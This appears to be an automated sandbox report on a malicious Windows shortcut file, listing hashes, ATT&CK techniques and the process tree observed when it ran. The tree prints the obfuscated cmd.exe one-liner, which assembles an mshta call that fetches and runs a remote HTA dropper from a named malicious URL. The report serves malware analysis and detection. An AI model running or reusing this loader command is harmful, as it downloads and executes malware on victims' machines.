e42f74d8b11b802bbaa9222c543be5eefcdc10156595f88fd467dc271ea14d4e

Analysis

max time kernel
38s
max time network
26s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 17:27

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General

Target
DOC-78AAQS.lnk
Size 2KB
Sample260803-v1vdcsch74
SHA256 e42f74d8b11b802bbaa9222c543be5eefcdc10156595f88fd467dc271ea14d4e
MD5 2f7938ba56613a27fddfdfb32c740938
SHA1 9b51061b75fde1ae5bc9a5f86993629cd668083b
SHA512 1064e23ba9c2f26a6f075d11ef93761448a5e8015900b728e4daacc56791fe54837edaaa23b7ae45a00b50de9abe4aa02634fe0fef40dd3d363a956876319854
TLSH
T1734105802EEA15D8F2BB8E76EDFE57408DBBB9526D60C68E5441810C0426F05E976F27
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4368	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4368 wrote to memory of 3336	4368	cmd.exe	90
PID 3336 wrote to memory of 4576	3336	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-78AAQS.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4368
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D/v:on/C"set ztVZ=infdpwxrinf&set LeJ=n2stx&&set sbD=ehartx&set Mp=oldbwgxyayyfeeyold&set WfTTv=cfgmuatcfg&set FVQUA=cfgtpaqmqnfibdkchcicacfg&set tix=bakuyuoxrtciokvjnqttabak&set CGcbv=cmjgr&&set jk=roys5c2&&set LRS=whtan56&set Ecmd=datvzsvxjdat&set bMef=tmpklajlwokfockrbxhctmp&set TNxp=cfgcfwrcfg&&set ZASze=h@t@tps://@m@a@-pdff@iller.@l@a@t@/h@/e@sta@[email protected]@?r=39@14@69F@B5D82DB&&start /b !CGcbv:~1,1!!jk:~3,1!!LRS:~1,3! !ZASze:@=!&&set syMn=done"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3336
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:4576

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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